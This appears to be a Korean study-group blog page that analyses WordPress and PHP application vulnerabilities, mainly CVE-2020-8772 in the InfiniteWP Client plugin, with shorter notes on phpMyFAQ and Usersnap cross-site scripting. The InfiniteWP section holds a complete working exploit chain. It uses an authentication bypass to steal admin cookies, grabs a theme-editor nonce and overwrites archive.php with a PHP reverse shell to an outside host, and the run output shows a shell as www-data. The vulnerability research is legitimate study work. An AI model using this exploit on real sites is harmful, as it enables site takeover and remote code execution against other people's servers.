반응형

[목적]

- 해당 글은 연구하기 위한 목적으로 정리하였으며, 앞으로도 연구 목적으로 올라올 예정임.

- 실력을 향상하기 위하여 스터디 모임에서 정리한 내용을 일부 공개하고 있으면 향후에도 동일한 방식으로 진행될 예정

ref

https://blog.sunggwanchoi.com/kor-infinitewp-client-1-9-4-5-authentication-bypass/

상세 분석 결과

환경 구축

wordpres 구축

  • wordpress : 4.8.3
  • mysql: 5.7

docker-compose.yml

version: "3.3"
    
services:
  db:
    image: mysql:5.7
    volumes:
      - ./db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: somewordpress
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
    
  wordpress:
    depends_on:
      - db
    image: wordpress:4.8.3
    volumes:
      - ./wordpress_data:/var/www/html
    ports:
      - "8000:80"
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
docker-compose up -d

계정 생성

  • admin 유저로 계정 생성

취약한 플러그 설치

원하는 버전의 플러그인 다운로드 방법

<https://downloads.wordpress.org/plugin/><플러그인_이름>.<버전>.zip
<https://downloads.wordpress.org/plugin/iwp-client.1.9.4.4.zip>

파일 업로드 용량 늘리는 방법

  • Increase Maximum Upload File Size, WP 파일 관리자 플러그인 설치
  • .htaccess 에 아래 내용 추가
  • php_value upload_max_filesize 32M php_value post_max_size 64M php_value memory_limit 128M php_value max_execution_time 300 php_value max_input_time 300

iwp-client 플러그인 설치

타겟

  • 이름 : Infinite WP
  • 유형 : 워드프레스 플러그인
  • 버젼 : < 1.9.4.5
  • 기능 : 여러개의 워드프레스 사이트를 관리,모니터링 해주는 플러그인

취약점

설명

  • Authentication Bypass 취약점
  • 공격자가 워드프레스 유저의 이름을 알고 있으면 해당 유저의 사용자 인증 쿠키를 알아낼 수 있는 취약점

페이로드

{"iwp_action": "add_site", "params": {"username": "admin"}}

취약점 발생 지점

  • init.php 파일
  • iwp_mmb_set_request 함수

PoC 실행

PoC 코드

import requests
import pprint
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site.")
args = parser.parse_args()

url = args.url
data = '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

# 요청 객체 사전 준비
request = requests.Request('POST', url, data=data, headers=headers)
prepared_request = request.prepare()

# 패킷 출력 (Burp Suite 스타일)
print("=== Request ===")
print(f"{prepared_request.method} {prepared_request.path_url} HTTP/1.1")
for header, value in prepared_request.headers.items():
    print(f"{header}: {value}")
print()
print(prepared_request.body)
print()

# 요청 보내기
response = requests.Session().send(prepared_request)

# 응답 패킷 출력
print("\\n=== Response ===")
print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
for header, value in response.headers.items():
    print(f"{header}: {value}")
print()
if response.content:
    print(response.content.decode())
print()

if 'IWPHEADER' in response.text:
    print('\\n[+] Vulnerable')
else:
    print('\\n[+] Not vulnerable')

실행 결과

 python .\\poc.py -u <http://localhost:8000>
=== Request ===
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==

=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8

<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>

[+] Vulnerable

Request

=== Request ===
POST /wp-admin/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
  • {"iwp_action":"add_site","params":{"username":"admin"}}

Response

=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8

<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>
  • admin 유저의 인증이 담긴 쿠키들을 Set-Cookie를 통해 반환해주고 있음
  • {"error":"Invalid activation key","error_code":"iwp_mmb_add_site_invalid_activation_key"} 라는 응답을 보냄

정리

{"iwp_action":"add_site","params":{"username":"admin"}} 요청을 보내면 워드프레스는 invalid_activation_key 라는 에러를 반환하지만, 에러와 함께 admin 유저의 인증 쿠키가 같이 반환됩니다.

취약점 소스 코드 분석

취약한 함수

  • iwp_mmb_set_request()
  • iwp_mmb_parse_request()

취약한 함수가 포함된 파일

❯ grep -ri "iwp_mmb_set_request" .
./init.php:if (!function_exists ('iwp_mmb_set_request')) {
./init.php:     function iwp_mmb_set_request(){
./core.class.php:               add_action('setup_theme', 'iwp_mmb_set_request');
  • init.php
    • iwp_mmb_set_request 함수가 정의된 파일은 init.php
  • core.class.php

iwp_mmb_set_request

function iwp_mmb_set_request(){
		global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
		if (is_user_logged_in()) {
			iwp_plugin_compatibility_fix();
		}
		if (empty($iwp_mmb_core->request_params)) {
			return false;
		}
		$params = $iwp_mmb_core->request_params;
		$action = $iwp_mmb_core->request_params['iwp_action'];
  • Request : {"iwp_action":"add_site","params":{"username":"admin"}}
    • **request_params : {"username":"admin"}**
    • **request_params['iwp_action'] : "add_site"**
if(isset($params['username']) && !is_user_logged_in()){
			$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
			if (isset($user) && isset($user->ID)) {
				wp_set_current_user($user->ID);
				// Compatibility with All In One Security
				update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
			}
			$isHTTPS = (bool)is_ssl();
			if($isHTTPS){
				wp_set_auth_cookie($user->ID);
			}else{
				wp_set_auth_cookie($user->ID, false, false);
				wp_set_auth_cookie($user->ID, false, true);
			}
		}
  • username 파라미터에 값이 설정되어 있는지 확인하고 로그인되어 있는지 확인
    • username: admin , 로그인 되어 있음
  • get_user_by 함수가 존재하면 username 에 해당하는 유저의 정보를 가져옴
    • 존재하지 않으면 wp_set_current_user() 함수를 이용해서 유저의 정보를 가져옴
  • 사이트가 HTTPS 프로토콜을 사용하고 있으면 기본 옵션으로 인증 쿠키를 설정
  • 사이트가 HTTP 프로토콜을 사용하고 있으면 HTTPOnly와 Secure 플래그를 모두 비활성화 하고 다시 Secure 플래그만 활성화하여 쿠키를 설정

※ username 만 가지고 사용자 인증을 하고 있다.

 보안상 문제가 있음

iwp_mmb_parse_request

global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
		if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
			$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
			$request_raw_data = $request_data_array[1];
			$data = trim(base64_decode($request_raw_data));
			$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
		}else{
			$data = false;
			$request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
			$serialized_data = trim(base64_decode($request_raw_data));
			if (is_serialized($serialized_data)) {
					iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
			}
		}
  • 클라이언트가 보내온 요청을 파싱하는 함수
  • $HTTP_RAW_POST_DATA_LOCAL 변수에 '_IWP_JSON_PREFIX_ 문자열이 존재하는지 확인
    • 존재하면?
      • _IWP_JSON_PREFIX_ 를 기준으로 문자열을 나눔
      • 두번째 문자열을 가져와 Base64 디코딩 후 앞뒤 공백을 제거
      • 전역 변수 $GLOBALS['IWP_JSON_COMMUNICATION'] 에 1을 할당하여 JSON 통신임을 나타냄
    • 존재하지 않으면?
      • 오류 메시지를 반환

 PoC 코드를 짤 때 _IWP_JSON_PREFIX_<Base64> 형태로 짜야 IWP 플러그인이 처리를 할 수 있다.

if (!$iwp_mmb_core->check_if_user_exists($params['username']))
				iwp_mmb_response(array('error' => 'Username <b>' . $params['username'] . '</b> does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);
			
			if ($action == 'add_site') {
				$params['iwp_action'] = $action;
				$iwp_mmb_core->request_params = $params;
				return;
			}
  • parameter로 받은 username이 관리자인지 아닌지 확인하고 관리자이면?
    • $action 이 'add_site' 일때
    • $params['iwp_action'] 에 $action 대입
    • request_params 에 $params 대입

 username 만 가지고 사용자 인증을 하고 있다.

 보안상 문제가 있음

iwp_mmb_add_site

if( !function_exists ( 'iwp_mmb_add_site' )) {
	function iwp_mmb_add_site($params)
	{
		global $iwp_mmb_core, $iwp_mmb_activities_log;
		$num = extract($params);
		
		if ($num) {
			if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') && !$iwp_mmb_core->get_option('iwp_client_public_key')) {
				$public_key = base64_decode($public_key);
				
				
				if(trim($activation_key) != get_option('iwp_client_activate_key')){ //iwp
					iwp_mmb_response(array('error' => 'Invalid activation key', 'error_code' => 'iwp_mmb_add_site_invalid_activation_key'), false);
					return;
				}
  • response에 있었던 'Invalid activation key' 에러 메시지가 있음

PoC 제작

  1. URL과 관리자 이름을 유저로부터 받는다.
  2. IWP 페이로드를 이용해 타겟 워드프레스로 부터 관리자 쿠키를 받아낸다.
  3. 관리자 쿠키를 이용해 리버스 쉘을 전송한다.
  4. Theme Editor를 이용해 archive.php 페이지를 리버스 쉘로 변환한다.
  5. 해당 페이지를 방문하면 리버스 쉘이 작동한다.

main

arg = parseArguments()
    baseUrl = arg.u
    username = arg.n 
    themeName = arg.t
  • python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
    • baseUrl = http://127.0.0.1:8000
    • username = admin
    • themeName = twentyseventeen
######### CHANGE ME !!! ######### 
    payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");"""
######### CHANGE ME !!! #########
무선 LAN 어댑터 Wi-Fi:

   연결별 DNS 접미사. . . . :
   링크-로컬 IPv6 주소 . . . . : fe80::cf75:83a3:efa1:feca%4
   IPv4 주소 . . . . . . . . . : 192.168.35.15
   서브넷 마스크 . . . . . . . : 255.255.255.0
   기본 게이트웨이 . . . . . . : 192.168.35.1
  • payload → 현재 PC로 리버스 쉘 요청을 보내는 페이로드
print("[DEBUG] baseUrl - ", baseUrl)
    print("[DEBUG] username - ", username)
    print("[DEBUG] themeName - ", themeName)
    print("[DEBUG] Payload - ", payload)
    print("[DEBUG] (Make sure to change the payload)")
    print()
[DEBUG] baseUrl -  <http://127.0.0.1:8000>
[DEBUG] username -  admin
[DEBUG] themeName -  twentyseventeen
[DEBUG] Payload -  <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)
  • 디버그 메시지 출력
# Setting up basic url, header, payload for the attack 
    if baseUrl[-1] == '/':
        baseUrl = baseUrl[:-1]

    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"}
    iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
    iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')

		session = requests.session()
  • 사용자 인증이 취약한 addsite 함수를 admin 유저로 접속하도록 iwpPayload 설정
  • 페이로드가 정상적으로 파싱 되도록 _IWP_JSON_PREFIX_ + <encoded_payload> 형태로 iwpPayload 설정
  • requests 모듈을 이용해서 세션 생성
print("[+] Stage1: IWP Exploit & Sanity Check")
    result = iwpExploit(session, baseUrl, header, iwpPayload)
    print()

    print("[+] Stage2: Getting Nonce")
    nonce = getNonce(session, baseUrl, header, themeName)
    if (nonce == False):
        print("[-] Stage 2 failed. Exiting.")
        exit(1)
    print()

    print("[+] Stage3: Injecting Payload into archive.php")
    result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
    if (result == False):
        print("[-] Stage 1 failed. Exiting.")
        exit(1)
    print()
  • [1] admin 유저로 /wp-admin 사이트 접속이 가능한지 확인
  • [2] nonce 값 탈취 진행
  • [3] archive.php 페이지를 페이로드로 덮어써서 reverse shell 띄움
finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\\n")
print("[+] Visit --> ", finalUrl, "\\n")
  • 공격 성공 이후 출력되는 URL을 누르면 reverse shell이 연결됨

iwpExploit

def iwpExploit(session, url, header, data):
    """ 
    Exploit IWP vulnerability. All auth_cookie is stored in "session"

    :return:bool:Return True/False based on visiting the endpoint 
    """
    url = url + "/wp-admin/"
    print("[+] Trying " + url + " with IWP payload : " + data)

    try:
        res = session.post(url, headers=header, data=data)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)
    
    return True
[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
  • admin 유저로 /wp-admin 주소에 접속이 되는지 확인
  • 상태 코드가 200번이 아니면?
    • 접속 가능하기 때문에, 취약한 상태

getNonce

def getNonce(session, url, header, themeName):
    """
    Get Nonce and return Nonce 

    :return:nonce:str:Nonce of the theme-editor.php?file=archive.php 
    """

    # First, see if we can visit the theme-editor.php endpoint 
    urlFirst = url + '/wp-admin/theme-editor.php'
    print("[+] Trying " + urlFirst)

    try:
        res = session.get(urlFirst, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    

    # Second, retrieve the nonce from the page and return the nonce 
    urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
    print("[+] Trying " + urlSecond)

    try:
        res = session.get(urlSecond, headers=header)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: Potential theme name problem - " + str(e))
        exit(1)
    
    try:
        soup = BeautifulSoup(res.text, features='lxml')
        nonce = soup.find_all(id='_wpnonce')[0].get('value')
        print("[DEBUG] Nonce = ", nonce)
    except Exception as e:
        print('[-] Error occurred: Potential username problem - ' + str(e))
        exit(1)

    return nonce
[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce =  f6da1de574
  • http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen
    • 해당 사이트에 admin 유저의 쿠키를 이용해서 접속하는 과정을 burpsuite로 잡아보면?
      • replay attack 방지를 위해 nonce 값이 함께 전달되고 있음
    • 추후 공격을 위해 해당 nonce 값을 수집

injectPayload

def injectPayload(session, url, header, nonce, payload, themeName):
    """
    Inject the php payload into archive.php 

    :return:bool:True/False based on successfully injecting php payload 
    """
    url = url + "/wp-admin/theme-editor.php"
    payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}

    print("[+] Trying " + url)
    print("[+] Full Payload : ", payloadData)

    try:
        res = session.post(url, headers=header, data=payloadData)
        if res.status_code != 200:
            print("[-] Failed to reach endpoint")
            print(res.status_code)
            exit(1)
    except Exception as e:
        print("[-] Error occurred: " + str(e))
        exit(1)

    return True
  • theme-editor.php 를 이용해서 archive.php 를 페이로드로 덮어씀
POST /wp-admin/theme-editor.php HTTP/1.1
Host: localhost:8000
Content-Length: 125362
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: <http://localhost:8000>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost:8000/wp-admin/theme-editor.php>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7Cf7af4fbb3032c9c291419a2c7aa6610038a1c920f83ec0c31aac92374ebdac0b; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7C317e7700cadefeb3c65235c55650ee0e358222791c6a70ceb2520a406b4b0a44; wp-settings-time-1=1694367175
Connection: close

_wpnonce=bdddcebdd9&_wp_http_referer=%2Fwp-admin%2Ftheme-editor.php&newcontent=%2F*%0D%0ATheme+Name%3A+Twenty+Seventeen%0D%0ATheme+URI%3A+https%3A%2F%2Fwordpress.org%2Fthemes%2Ftwentyseventeen%2F%0D%0AAuthor%3A+the+WordPress+team%0D%0AAuthor+URI%3A+https%3A%2F%2Fwordpress.org%2F%0D%0ADescription%3A+Twenty+Seventeen+brings+your+site+to+life+with+header+video+and+immersive+featured+images.+With+a+focus+on+business+sites%2C+it+features+multiple+sections+on+the+front+page+as+well+as+widgets%2C+navigation+and+social+menus%2C+a+logo%2C+and+more.+Personalize+its+asymmetrical+grid+with+a+custom+color+scheme+and+showcase+your+multimedia+content+with+post+formats.+Our+default+theme+for+2017+works+great+in+many+languages%2C+for+any+abilities%2C+and+on+any+device.%0D%0AVersion%3A+1.3%0D%0ALicense%3A+GNU+General+Public+License+v2+or+later%0D%0ALicense+URI%3A+http%3A%2F%2Fwww.gnu.org%2Flicenses%2Fgpl-2.0.html%0D%0AText+Domain%3A+twentyseventeen%0D%
...................................
...................................
...................................
ned+with+others.%0D%0A*%2F%0D%0A%0D%0A%2F*--------------------------------------------------------------%0D%0A%3E%3E%3E+TABLE+OF+CONTENTS%3A%0D%0A------------ant%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09h2%2C%0D%0A%09h5%2C%0D%0A%09blockquote%2C%0D%0A%09.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-image+.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-video+.site-description%2C%0D%0A%09.entry-meta%2C%0D%0A%09.entry-meta+a+%7B%0D%0A%09%09color%3A+%23777+%21important%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09.entry-content+blockquote.alignleft%2C%0D%0A%09.entry-content+blockquote.alignright+%7B%0D%0A%09%09font-size%3A+11pt%3B%0D%0A%09%09width%3A+34%25%3B%0D%0A%09%7D%0D%0A%0D%0A%09.site-footer+%7B%0D%0A%09%09padding%3A+0%3B%0D%0A%09%7D%0D%0A%7D%0D%0A&action=update&file=style.css&theme=twentyseventeen&scrollto=400&submit=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8
  • 워드프레스 관리자 페이지에서 테마를 변경하는 과정을 burpsuite로 잡아보면?
    • _wpnonce 변수를 통해 nonce 값을 전달하고 있음
    • new_content를 통해 새롭게 변경할 테마의 코드를 전달하고 있음
    • action 을 통해서 테마를 update 하겠다고 하고 있음
    • file 을 통해 변경할 파일을 설정하고 있음
    • theme 를 통해서 현재 테마명을 전달하고 있음
    • scrollto 를 통해서 400으로 스크롤 하게 설정하고 있음
    • submit 을 통해서 파일+업데이트를 하겠다고 전달하고 있음

PoC 코드 실행

ncat -lvnp 4444
 python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
[DEBUG] baseUrl -  <http://127.0.0.1:8000>
[DEBUG] username -  admin
[DEBUG] themeName -  twentyseventeen
[DEBUG] Payload -  <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)

[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==

[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce =  1cfc1aea53

[+] Stage3: Injecting Payload into archive.php
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Full Payload :  {'_wpnonce': '1cfc1aea53', 'newcontent': '<?php exec("/bin/bash -c \\'bash -i > /dev/tcp/192.168.35.15/4444 0>&1\\'");', 'action': 'update', 'file': 'archive.php', 'theme': 'twentyseventeen', 'scrollto': '0', 'docs-list': '', 'submit': 'Update File'}

[+] Exploitation Successful. Open up netcat listener & Visit the following URL

[+] Visit -->  <http://127.0.0.1:8000/wp-content/themes/twentyseventeen/archive.php>
 ncat -lvnp 4444
Ncat: Version 7.94 ( <https://nmap.org/ncat> )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.35.15:13159.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

반응형
반응형

ref

배경

  • phpMyFAQ - Open Source FAQ web application for PHP 7+ and MySQL, PostgreSQL and other databases
  • phpMyFAQ 는 사용자를 대상으로 하는 FAQ 어플리케이션이다.
  • sprintf 로 화면에 표시할때 태그를 포함한 데이터를 입력 가능하다.

분석

//phpmyfaq/ajaxservice.php
->setType($type)
->setUsername($username)
->setEmail($mailer)
**->setComment(nl2br($comment))**
->setDate($_SERVER['REQUEST_TIME']);
  • 화면에 표시되는 코드는 다음과 같다.
//phpmyfaq/src/phpMyFAQ/Comments.php
						$output .= sprintf(
                '<strong><a href="mailto:%s">%s</a></strong>',
                $mail->safeEmail($item->getEmail()),
                $item->getUsername()
            );
            $output .= sprintf(' <span class="text-muted">(%s)</span>', $date->format($item->getDate()));
            $output .= '     </div>';위의ㅇㅇㅇㅇ
  • 위의 코드는 strip_tags를 이용하여 태그를 제거하는 방식으로 수정되었다.
//phpmyfaq/ajaxservice.php
->setType($type)
->setUsername($username)
->setEmail($mailer)
**->setComment(nl2br(strip_tags($comment)))**
->setDate($_SERVER['REQUEST_TIME']);

  • Strings::htmlentities 는 적용가능한 모든 html을 entity로 변환한다.
						$output .= sprintf(
                '<strong><a href="mailto:%s">%s</a></strong>',
                $mail->safeEmail($item->getEmail()),
                Strings::htmlentities($item->getUsername())
            );
            $output .= sprintf(' <span class="text-muted">(%s)</span>', $date->format($item->getDate()));
            $output .= '     </div>';

<?php
$str = "A 'quote' is <b>bold</b>";

// 출력: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// 출력: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>
  • sprintf를 사용하여 데이터를 저장 후 변수로 전달한다면 그 전에 화면에 표현이 되는 데이터에 대해 어떤 데이터를 허용할지 검토를 해야한다.

테스트

  • 테스트 환경 phpMyFAQ 3.1.11 설치하고 초기 설정을 완료 한다.
  • FaQ입력 창에 html 태그를 입력한다.

  • html이 적용되어 화면에 보인다.

패치 방법

  • 패치 제공 phpMyFAQ ≥ 3.1.12 이상을 설치한다.
반응형
반응형

ref

배경

  • Usersnap wp plugin은 사용자에게 피드백을 받아 관리하는 SaaS형 서비스의 플러그인이다.
  • 워드프레스용 Usersnap 플러그인은 API 키 값에 대한 충분한 입력 값 검사 및 출력 이스케이핑이 없기 때문에 버전 4.16 이하의 모든 버전에서 저장된 apikey 값에 대한 Cross-Site 스크립팅 취약점이 있습니다. 이로 인해 관리자 페이지와 사용자 페이지에서의 xss가 트리거 가능합니다. 관리자에 의해 취약성이 트리거가 가능한것으로 보이기 때문에 영향도는 낮습니다.

분석

409	389	            </p>
410	390	            <script type="text/javascript">
411	 	            jQuery(function() {
412	 	                jQuery('#us-settings-form').submit(function() {
413	 	                    if (jQuery('#us-api-key').val()!=='') {
414	 	                        var s = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i
415	 	                        if (!s.test(jQuery('#us-api-key').val())) {
416	 	                            jQuery('#us-api-key').focus();
